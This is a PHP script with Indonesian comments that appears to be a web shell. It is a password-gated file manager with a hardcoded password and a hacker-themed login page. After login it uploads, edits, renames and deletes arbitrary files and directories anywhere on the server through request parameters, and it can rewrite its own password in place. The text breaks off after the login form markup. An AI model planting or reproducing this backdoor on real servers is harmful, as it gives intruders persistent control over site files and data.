session_start();
// Fungsi untuk membaca file PHP ini
function getScriptContent() {
return file_get_contents(__FILE__);
}
// Fungsi untuk menyimpan konten baru ke file PHP ini
function saveScriptContent($content) {
file_put_contents(__FILE__, $content);
}
// Password yang benar (ubah sesuai keinginan Anda)
$correct_password = "mumet69";
// Fungsi untuk mengecek apakah user sudah login
function isLoggedIn() {
return isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true;
}
// Fungsi untuk menangani login
function handleLogin($password) {
global $correct_password;
if ($password === $correct_password) {
$_SESSION['loggedin'] = true;
return true;
}
return false;
}
// Fungsi untuk mengganti password
function changePassword($new_password) {
global $correct_password;
$script_content = getScriptContent();
$new_script_content = preg_replace(
'/(\$correct_password\s*=\s*\")[^\"]+(\")/',
'$1' . addslashes($new_password) . '$2',
$script_content
);
saveScriptContent($new_script_content);
$_SESSION['correct_password'] = $new_password;
$correct_password = $new_password;
}
// Fungsi untuk membuat folder
function createFolder($folder_name, $path) {
$target_dir = rtrim($path, '/') . '/' . $folder_name;
if (!is_dir($target_dir)) {
return mkdir($target_dir);
}
return false;
}
// Fungsi untuk mengunggah file
function uploadFile($file, $path) {
$target_file = rtrim($path, '/') . '/' . basename($file["name"]);
return move_uploaded_file($file["tmp_name"], $target_file);
}
// Fungsi untuk menghapus file
function deleteFile($file_path) {
if (is_file($file_path)) {
return unlink($file_path);
}
return false;
}
// Fungsi untuk menghapus direktori beserta isinya
function deleteDir($dir_path) {
if (!is_dir($dir_path)) {
return false;
}
$items = array_diff(scandir($dir_path), ['.', '..']);
foreach ($items as $item) {
$full_path = "$dir_path/$item";
is_dir($full_path) ? deleteDir($full_path) : unlink($full_path);
}
return rmdir($dir_path);
}
// Fungsi untuk membuat file baru
function createFile($file_name, $path) {
$target_file = rtrim($path, '/') . '/' . $file_name;
if (!file_exists($target_file)) {
return touch($target_file);
}
return false;
}
// Menangani form login
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password']) && !isLoggedIn()) {
if (handleLogin($_POST['password'])) {
header('Location: ' . $_SERVER['PHP_SELF']);
exit();
} else {
$login_error = "Password salah!";
}
}
// Menangani form penggantian password
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_password']) && isLoggedIn()) {
$new_password = $_POST['new_password'];
changePassword($new_password);
$password_change_success = "Password berhasil diganti!";
}
// Menangani form pembuatan folder
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_folder']) && isLoggedIn()) {
$folder_name = $_POST['folder_name'];
$current_path = $_POST['current_path'];
if (createFolder($folder_name, $current_path)) {
$folder_create_success = "Folder berhasil dibuat.";
} else {
$folder_create_error = "Gagal membuat folder.";
}
}
// Menangani form pengunggahan file
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['submit']) && isLoggedIn()) {
$current_path = $_POST['current_path'];
if (uploadFile($_FILES["file"], $current_path)) {
$file_upload_success = "File berhasil diunggah.";
} else {
$file_upload_error = "Gagal mengunggah file.";
}
}
// Menangani penghapusan file atau direktori setelah form di-submit
if (isset($_GET['delete']) && isLoggedIn()) {
$path_to_delete = $_GET['delete'];
if (is_dir($path_to_delete)) {
if (deleteDir($path_to_delete)) {
$delete_success = "Direktori berhasil dihapus.";
} else {
$delete_error = "Gagal menghapus direktori.";
}
} else {
if (deleteFile($path_to_delete)) {
$delete_success = "File berhasil dihapus.";
} else {
$delete_error = "Gagal menghapus file.";
}
}
}
// Menangani pembuatan file baru setelah form di-submit
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_file']) && isLoggedIn()) {
$file_name = $_POST['file_name'];
$current_path = $_POST['current_path'];
if (createFile($file_name, $current_path)) {
$file_create_success = "File berhasil dibuat.";
} else {
$file_create_error = "Gagal membuat file.";
}
}
// Menangani penggantian nama file atau direktori setelah form di-submit
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name']) && isset($_POST['old_name']) && isLoggedIn()) {
$old_name = $_POST['old_name'];
$new_name = $_POST['new_name'];
if (rename($old_name, dirname($old_name) . '/' . $new_name)) {
$rename_success = "Berhasil mengubah nama.";
} else {
$rename_error = "Gagal mengubah nama.";
}
}
// Menangani pengeditan file setelah form di-submit
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file_content']) && isset($_POST['file_to_edit']) && isLoggedIn()) {
$file_to_edit = $_POST['file_to_edit'];
$new_content = $_POST['file_content'];
if (file_put_contents($file_to_edit, $new_content) !== false) {
$file_edit_success = "Berhasil menyimpan perubahan.";
} else {
$file_edit_error = "Gagal menyimpan perubahan.";
}
}
// Menampilkan form login jika user belum login
if (!isLoggedIn()) {
<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
Login <title>Login</title>
<style>
body {
background-color: #0f0f0f;
color: #00ff00;
font-family: 'Courier New', Courier, monospace;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.login-box {
background-color: #0b0b0b;
padding: 20px;
border: 1px solid #00ff00;
border-radius: 8px;
box-shadow: 0 0 10px #00ff00;
}
input[type="password"], input[type="submit"] {
display: block;
width: 100%;
padding: 10px;
margin: 10px 0;
background-color: #0b0b0b;
border: 1px solid #00ff00;
color: #00ff00;
font-family: 'Courier New', Courier, monospace;
}
input[type="submit"] {
cursor: pointer;
}
</style>
<div class="login-box">
Login
if (isset($login_error)):
<p> echo htmlspecialchars($login_error); </p>
endif;
</div>